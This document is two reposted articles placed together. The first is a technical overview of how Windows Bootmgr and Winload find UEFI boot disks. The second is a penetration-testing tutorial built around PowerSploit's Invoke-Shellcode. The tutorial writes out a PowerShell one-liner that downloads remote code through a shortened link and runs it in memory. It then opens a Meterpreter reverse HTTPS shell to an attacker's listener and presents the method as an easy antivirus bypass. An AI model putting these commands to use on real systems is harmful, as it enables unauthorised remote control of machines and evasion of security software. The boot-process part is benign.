We will now see how the Boot manager can identify the Physical disks. BmFwInitializeBootDirectoryPath invokes BlpDeviceOpen (with first parameter set to a quite empty Winload boot disk structure, that contains the boot partition GUID) to open the target disk boot partition device. BlpDeviceOpen raises a large call chain that finally transfers the control to PartitionFirmwareOpen. This last procedure uses the LocateHandle EFI boot service to locate all handles that implement the Block I/O interface. For each of the identified handles, its Device path interface is obtained with EfiOpenProtocol. In the Device path interface resides partition GUID. The Partition GUID is compared with the start-up device GUID, if two GUIDs match, then a Bootmgr partition entry is created with the PartitionFwpCreateDeviceEntry function. Bootmgr indeed manages each of the system I/O devices, creating an associated internal structure. PartitionFirmwareOpen Bootmgr procedure Now Bootmgr has a proper boot partition connection (GUID, EFI handle pair) and the feeds read and write I/O to its File system code. We have just seen how read and write is implemented (keep in mind that, as stated before, all this code is shared between Winload and Bootmgr). The difficult of this job is to understand how Windows identifies the EFI handle of the Physical boot disk. The algorithm used is quite complex. We provide here a summary description. One of the first thing Winload does at its early stage is to initialize the physical disks, just after the Bootmgr has released the control. BlpEdriveInitializeContext calls SecCmdFirmwareOpen, that uses DiskOpen to proper identify the physical disk. The Physical disk GUID is now available because Bootmgr has already obtained it from the BCD hive (Winload BCD object). Here starts the Windows algorithm used to identify the proper EFI Handle. The Algorithm starts enumerating each of the EFI handles that implement the Block I/O protocol. For each handle found, Winload constructs its own management data structure with BlockIoEfiCreateDeviceEntry . This procedure opens the Device path interface of the EFI handle, it allocates enough buffer and it compiles a structure with some device data (like block size, first and last addressable LBA and so on). Then it retrieves the device information with BlockIoEfiGetDeviceInformation. This is the key of algorithm. The last node of the device handle path is obtained (EfiGetLeafNode function) and analysed: whether it is a Messaging node type, Winload tries to get one of its direct child handles. If it succeeds, it will analyse the child device path leaf node. If the node results to be a media path type then Winload has found one physical hard disk device: it closes the child handle and it reads the GPT partition table from the original EFI Handle. The GPT partition table contains the Disk GUID in its header (LBA 1), as stated in this document: http://en.wikipedia.org/wiki/GUID_Partition_Table. BlockIoGetGPTDiskSignature obtains the GUID and stores it in the device associate data structure. In the end, when control returns to DiskOpen, the Winload compares the new GUID with the searched disk device GUID and, if these two match, it returns STATUS_SUCCESS to its caller, otherwise it proceeds with the next entry. If no disk is found, it returns STATUS_NO_SUCH_DEVICE. When this process is done at least one time for each EFI devices, the Winload doesn’t redo, because it stores each created device structure hash in a global Hash table (updated with BlHtStore function). Conclusions Through this analysis we have now understood how the Windows start-up code manages the disk I/O. We have pinpointed that only the UEFI services are used to read and write from Boot and System devices. This is one of the reasons that explain why Bootmgr and Winload files are platform dependent (there are different versions for different platforms). Sursa: Windows UEFI startup – A technical overview

PowerSploit: The Easiest Shell You’ll Ever Get 2013/09/18 | Posted in Penetration Testing Sometimes you just want a shell. You don’t want to worry about compiling a binary, testing it against antivirus, figuring out how to upload it to the box and finally execute it. Maybe you are giving a demo of an awesome new Meterpreter post-exploitation module. Maybe you have less than a minute of physical access to a Windows kiosk machine and need a quick win. There are plenty of scenarios that end in a penetration tester gaining GUI access to a target machine through guessed or found RDP, ESX or VNC credentials. In those situations, the easiest way to get a Meterpreter shell without worrying about AV is with PowerSploit. PowerSploit is a collection of security-related modules and functions written in PowerShell. PowerSploit is already in both BackTrack and Kali, and its code is utilized by other awesome tools like SET so you may already be using it! Many of the scripts in the project are extremely useful in post-exploitation in Windows environments. The project was started by Matt Graeber who is the author of the function we will use in this tutorial: Invoke-Shellcode. In order for this to work, the target machine must have PowerShell installed and internet access. The first step is for us to set up our handler on our attacker box. This is something we will likely do often, so let’s automated it with a really simple Python script: To start the multi/handler and configure it, we just run the script: python StartListener.py 192.168.0.15 443 Now that our handler is ready, we can move on to executing our shell. The first thing I did to make the next step easier to type is shorten the github link to Invoke-Shellcode with bitly: Next, we need to run two commands in a PowerShell prompt to get our Meterpreter shell. The first command will create a .Net WebClient Object to download the function and pass it to Invoke-Expression to put it into memory: IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’) Now we just need to make a call to the Invoke-Shellcode function with the relevant parameters from the listener: Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 192.168.0.15 –Lport 443 –Force We can actually combine these commands to run a single command to execute our shell: IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’); Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 172.0.1.200 –Lport 443 –Force Once we get the prompt back, we can safely close PowerShell because the ultra-useful Smart_Migrate Meterpreter script has safely landed us in a new process: That is the easiest and most convenient AV-bypass I have ever seen! Just open PowerShell and type a command. Hopefully this post has shown you one way PowerSploit can make your life as a pen-tester easier. You can find more ways at my blog and by following me on twitter. Also, join me at Derbycon when I will talk about the Pass-the-Hash attack and some simple mitigations with Skip Duckwall and how to use PowerSploit and Windows tools to accomplish post-exploitation tasks without uploading binaries with Matt Graeber. I hope to see you all there! -Chris Sursa: Pentest Geek